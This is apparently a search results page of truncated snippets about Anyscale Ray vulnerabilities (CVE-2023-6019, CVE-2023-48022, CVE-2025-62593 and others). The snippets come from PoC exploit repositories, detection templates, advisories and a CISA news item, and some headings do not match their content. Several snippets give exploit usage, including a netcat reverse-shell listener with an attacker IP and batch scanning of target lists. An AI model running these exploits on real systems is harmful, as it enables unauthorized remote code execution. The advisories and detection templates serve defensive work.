659 matches found
mcp-xray
MCP X-Ray !NOTE Looking to secure AI agent skills? Check out Skill X-Ray, an open-source static security scanner that analyzes skill packages for malicious or risky behavior before installation, without executing them. Overview MCP X-Ray is a unified open-source security scanning and penetration...
CVE-2023-6019
CVE-2023-6019 - Anyscale Ray 仪表盘未授权远程代码执行 CVE-2023-6019 的 PoC 利用程序 — 通过未经认证的 Ray 仪表盘 Jobs API 实现远程代码执行。 由 oguiii 制作 描述 Anyscale Ray 是一个用于分布式 ML/AI 工作负载的开源框架。版本 早于 2.6.4 通过 Ray 仪表盘（默认端口 8265）暴露了一个 Jobs 提交 API，没有任何身份验证 ，允许未认证的攻击者提交任意作业并在主机上实现远程代码执行 。 CVE: CVE-2023-6019 严重性: 严重 CVSS 9.8 受影响版本: Ray...
Anyscale Ray - Remote Code Execution
Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API. id: CVE-2023-48022 info: name: Anyscale Ray - Remote Code Execution author:...
Ray Static File - Local File Inclusion
LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication. id: CVE-2023-6020 info: name: Ray Static File - Local File Inclusion author: byt3bl33d3r severity: high description: | LFI in Ray's /static/ directory allows attackers to read any file on the...
CVE-2023-6019
Ray OS 命令注入 RCE（未授权） 使用方法： 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...
ShadowRay-RCE-PoC-CVE-2023-48022
Ray框架远程命令执行漏洞PoC CVE-2023-48022 此漏洞利用脚本和PoC是为在vSociety上进行的深入CVE分析而编写。 Ray框架是一个用于Python AI和机器学习应用的重要工具，最近遇到了一个重大的安全挑战。本质上，Ray就像一个瑞士军刀，服务于从事AI和大数据项目的人员。该漏洞被标识为CVE-2023-48022，具体影响作业提交API。官方描述指出，该漏洞允许远程攻击者执行任意代码，对使用这些Ray版本的系统构成重大风险。该漏洞的发现凸显了软件框架中强大安全协议的重要性，特别是那些处理海量数据和计算能力的AI和ML项目。 使用方式 首先，安装Ray： pip...
CVE-2026-33017
CVE-2025-62593 — Ray 未授权 RCE 漏洞利用工具 概述 CVE-2025-62593 是 Ray 分布式 AI 计算引擎中的一个未授权远程代码执行漏洞。根本原因在于关键 HTTP 端点（/api/jobs、/api/jobagent/jobs）缺少身份认证。攻击者可以提交一个入口点为任意命令的 Ray Job，并在集群头节点上执行该命令。 快速开始 单个目标 python3 rayrcepoc.py --target http://HOST:8265 批量扫描（10 个并发） python3 rayrcepoc.py --targets list.txt...
CVE-2023-48022
CVE-2023-48022 CVE-2023-48022 漏洞利用程序，基于 Bishop Fox 的工作修改而来 使用方法 在 jobs.py 中设置 IP 和端口 在 malicious.py 中设置 payload $ pip install ray $ python3 jobs.py...
CVE-2025-62593-PoC
CVE-2025-62593 — Ray 远程代码执行（未认证） CVE-2025-62593 的概念验证（PoC），该漏洞是 Ray 分布式 AI 计算引擎中的一个未认证远程代码执行漏洞，可通过基于浏览器的 DNS 重绑定攻击加以利用。该漏洞已被列入 CISA 已知被利用漏洞（KEV）目录 ，并且正在被积极利用。 根本原因是 Ray 团队长期以来的设计决策：在 /api/jobs 和 /api/jobagent/jobs 等关键 HTTP 端点上不启用任何认证 。因此，未认证的远程攻击者可以提交一个 Ray 任务（Ray...
Ray API - Local File Inclusion
LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication. id: CVE-2023-6021 info: name: Ray API - Local File Inclusion author: byt3bl33d3r severity: high description: | LFI in Ray's log API endpoint allows attackers to read any file on the server withou...
Ray < 2.52.0 - Remote Code Execution
Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic rejecting Mozilla-prefixed headers can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable. i...
Presentations
演示文稿 演示文稿| 幻灯片| 视频 ---|---|--- BlueHat IL 2020 - Trinity: PSP 模拟器逃逸| 2020-BlueHatIL-Trinity.pdf| https://www.youtube.com/watch?v=J0OQsDTyAL8 Hardwear.io USA 2022 - bd-jb: 蓝光光盘 Java 沙箱逃逸| 2022-hardwear-io-bd-jb.pdf| https://www.youtube.com/watch?v=jyyCOoWksbg HEXACON2022 - bd-jb: 蓝光光盘沙箱逃逸| |...
Localize Any Object in X-Ray Security Scans without Human Annotation
Universal object localization in X-ray security inspection is critical for automated threat detection in safety-critical venues. However, unlike everyday RGB images that dominate web-scale visual data, X-ray scans exhibit distinct color patterns, ambiguous boundaries, and compositional structures...
pocolate
pocolate Standalone, parameterized PoCs for AI-infrastructure...
js-x-ray @nodesecure/[email protected]
!slsa...
Exploit for Eval Injection in Langflow
CVE-2025-62593 — Ray Unauthenticated RCE Exploit Overview...
Ray < 2.52.0 Remote Code Execution (CVE-2025-62593)
The Ray Dashboard service running on the remote host is prior to version 2.52.0. It is, therefore, affected by a remote code execution vulnerability: - Ray's browser-based attack protection relies solely on checking that the User-Agent header starts with 'Mozilla'. The Fetch specification allows...
Exploit for Code Injection in Anyscale Ray
CVE-2025-62593 — Ray Remote Code Execution unauthenticated...
CISA Flags Actively Exploited Ray Flaw That Can Trigger Browser-Based RCE
The U.S. Cybersecurity and Infrastructure Security Agency CISA on Monday added a critical flaw impacting Ray to its Known Exploited Vulnerabilities KEV catalog, citing evidence of active exploitation. Ray is an open-source, Python-native distributed computing framework designed to scale artificia...